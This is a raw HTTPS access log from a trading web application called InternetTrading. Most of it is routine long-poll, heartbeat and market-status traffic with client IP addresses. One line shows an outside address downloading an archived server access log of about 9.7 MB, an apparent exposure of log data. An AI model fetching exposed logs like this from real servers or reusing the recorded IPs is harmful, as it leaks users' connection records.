[09/Jan/2026:14:42:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941197131 HTTP/1.1" -
[09/Jan/2026:14:42:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941208919 HTTP/1.1" -
[09/Jan/2026:14:42:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:42:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:42:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941194356 HTTP/1.1" -
[09/Jan/2026:14:42:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941195296 HTTP/1.1" -
[09/Jan/2026:14:42:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941202215 HTTP/1.1" -
[09/Jan/2026:14:42:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941213946 HTTP/1.1" -
[09/Jan/2026:14:42:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941199486 HTTP/1.1" -
[09/Jan/2026:14:42:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:42:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:42:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941200324 HTTP/1.1" -
[09/Jan/2026:14:42:09 +0800] 47.128.23.184 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20250730 HTTP/1.1" 9774192
[09/Jan/2026:14:42:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941207283 HTTP/1.1" -
[09/Jan/2026:14:42:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941219014 HTTP/1.1" -
[09/Jan/2026:14:42:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941204739 HTTP/1.1" -
[09/Jan/2026:14:42:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941205491 HTTP/1.1" -
[09/Jan/2026:14:42:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941212320 HTTP/1.1" -
[09/Jan/2026:14:42:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:42:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:42:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:42:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941224068 HTTP/1.1" -
[09/Jan/2026:14:42:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:42:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941209857 HTTP/1.1" -
[09/Jan/2026:14:42:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941210532 HTTP/1.1" -
[09/Jan/2026:14:42:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941217430 HTTP/1.1" -
[09/Jan/2026:14:42:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:42:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:42:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:42:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:42:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:42:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:42:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941229095 HTTP/1.1" -
[09/Jan/2026:14:42:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:42:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:42:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941214957 HTTP/1.1" -
[09/Jan/2026:14:42:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941215578 HTTP/1.1" -
[09/Jan/2026:14:42:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941222503 HTTP/1.1" -
[09/Jan/2026:14:42:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941234117 HTTP/1.1" -
[09/Jan/2026:14:42:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941220599 HTTP/1.1" -
[09/Jan/2026:14:42:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941220093 HTTP/1.1" -
[09/Jan/2026:14:42:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941227542 HTTP/1.1" -
[09/Jan/2026:14:42:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941239157 HTTP/1.1" -
[09/Jan/2026:14:42:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:42:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:42:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941225643 HTTP/1.1" -
[09/Jan/2026:14:42:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941225218 HTTP/1.1" -
[09/Jan/2026:14:42:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941232636 HTTP/1.1" -
[09/Jan/2026:14:42:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941244185 HTTP/1.1" -
[09/Jan/2026:14:42:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:42:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:42:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941230683 HTTP/1.1" -
[09/Jan/2026:14:42:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941230427 HTTP/1.1" -
[09/Jan/2026:14:42:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941237709 HTTP/1.1" -
[09/Jan/2026:14:42:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941249259 HTTP/1.1" -
[09/Jan/2026:14:42:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941235735 HTTP/1.1" -
[09/Jan/2026:14:42:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941235557 HTTP/1.1" -
[09/Jan/2026:14:42:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941242741 HTTP/1.1" -
[09/Jan/2026:14:42:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:42:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:42:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:42:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:42:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941254333 HTTP/1.1" -
[09/Jan/2026:14:42:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941240762 HTTP/1.1" -
[09/Jan/2026:14:42:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941240687 HTTP/1.1" -
[09/Jan/2026:14:42:51 +0800] 94.231.206.111 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:14:42:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:42:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:42:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941247842 HTTP/1.1" -
[09/Jan/2026:14:42:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:42:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:42:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:42:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:42:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941259393 HTTP/1.1" -
[09/Jan/2026:14:42:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:42:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:42:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941245811 HTTP/1.1" -
[09/Jan/2026:14:42:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941245740 HTTP/1.1" -
[09/Jan/2026:14:42:57 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941252928 HTTP/1.1" -
[09/Jan/2026:14:42:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941264413 HTTP/1.1" -
[09/Jan/2026:14:43:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941250844 HTTP/1.1" -
[09/Jan/2026:14:43:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941250877 HTTP/1.1" -
[09/Jan/2026:14:43:02 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941257970 HTTP/1.1" -
[09/Jan/2026:14:43:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:43:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:43:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941269465 HTTP/1.1" -
[09/Jan/2026:14:43:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941255887 HTTP/1.1" -
[09/Jan/2026:14:43:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941256010 HTTP/1.1" -
[09/Jan/2026:14:43:07 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941263059 HTTP/1.1" -
[09/Jan/2026:14:43:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941274531 HTTP/1.1" -
[09/Jan/2026:14:43:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:43:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:43:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941260912 HTTP/1.1" -
[09/Jan/2026:14:43:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941261126 HTTP/1.1" -
